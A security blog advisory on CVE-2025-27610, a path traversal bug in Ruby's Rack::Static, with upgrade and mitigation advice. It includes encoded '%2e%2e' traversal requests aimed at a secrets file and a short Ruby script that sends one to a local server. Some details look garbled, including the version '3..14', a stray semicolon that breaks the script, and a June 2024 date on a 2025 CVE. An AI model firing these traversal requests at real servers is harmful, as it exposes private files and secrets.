Published: June 2024
*By SecHub Team*

Overview

Rack is a popular Ruby interface for web servers and frameworks, acting as the backbone for frameworks like Sinatra and Rails. One commonly used Rack middleware is Rack::Static, which serves static files such as images, CSS, and JavaScript from a specified directory.

But a critical vulnerability was discovered in Rack::StaticCVE-2025-27610. This vulnerability allows attackers to bypass intended file restrictions and read files from the server, even those that should be private, through a path traversal bug.

If you’re running vulnerable Rack versions prior to 2.2.13, 3..14, or 3.1.12, your applications could be at risk.

Component: Rack::Static

- Type: Path Traversal / Directory Traversal

Rack::Static is configured like this in your middleware stack

use Rack::Static, 
  urls: ["/assets"], 
  root: "public"

You’d expect only public/assets to be accessible. However, due to improper path sanitization (specifically handling of encoded traversal patterns like %2e%2e for ../), attackers can construct requests that access any file under the public directory.

> Example:
> If there’s a file at public/secrets/config.yml, and you thought it wouldn’t be available to the public… after reading this, think again!

Imagine you have

- public/assets/logo.png (expected public)
- public/secrets/passwords.txt (expected private)

Suppose your server receives the URL

GET /assets/../secrets/passwords.txt HTTP/1.1

If properly secured, Rack should block this and not serve passwords.txt. But with this CVE, encoded path traversal is not sanitized:

GET /assets/%2E%2E/secrets/passwords.txt HTTP/1.1

Or even deeper nesting

GET /assets/%2e%2e/%2e%2e/secrets/passwords.txt HTTP/1.1

Here’s how you might test the vulnerability locally

require "net/http"

host = "localhost"
port = 9292  # Adjust to your rack server's port
target_file = "/assets/%2e%2e/secrets/passwords.txt"

uri = URI("http://#{host}:#{port}#{target_file}";)

res = Net::HTTP.get_response(uri)
puts "Response code: #{res.code}"
puts "Content:"
puts res.body

Impact

- Attackers with knowledge (or ability to guess) file locations can read any file under your root: directory.
- This can include environment configs, app secrets, API keys, user uploads, and *everything else* stored in that area.

3.1.x users: Upgrade to 3.1.12 or later.


Upgrade instructions are straightforward (bundle update rack for most apps).

Make sure your root: only points to a directory containing files you expect can be public.

- Consider offloading static file delivery to a CDN or specialized static file service (like AWS S3 behind CloudFront).

Technical References

- Rack Security Advisory (official)
- CVE Entry for 2025-27610
- Rack 2.x Changelog
- Ruby on Rails Guide: Static Files
- OWASP Path Traversal

Final Thoughts

The CVE-2025-27610 vulnerability is a textbook example of why rigorous input/path sanitization is crucial in web apps. Even if you *think* you’re only serving safe files, attackers can find a way through encoding and creative requests.

If you use Rack::Static, update *immediately*. Protect your users – and your secrets.


*If you found this writeup useful, share it. Security is everyone’s job!*

Timeline

Published on: 03/10/2025 23:15:35 UTC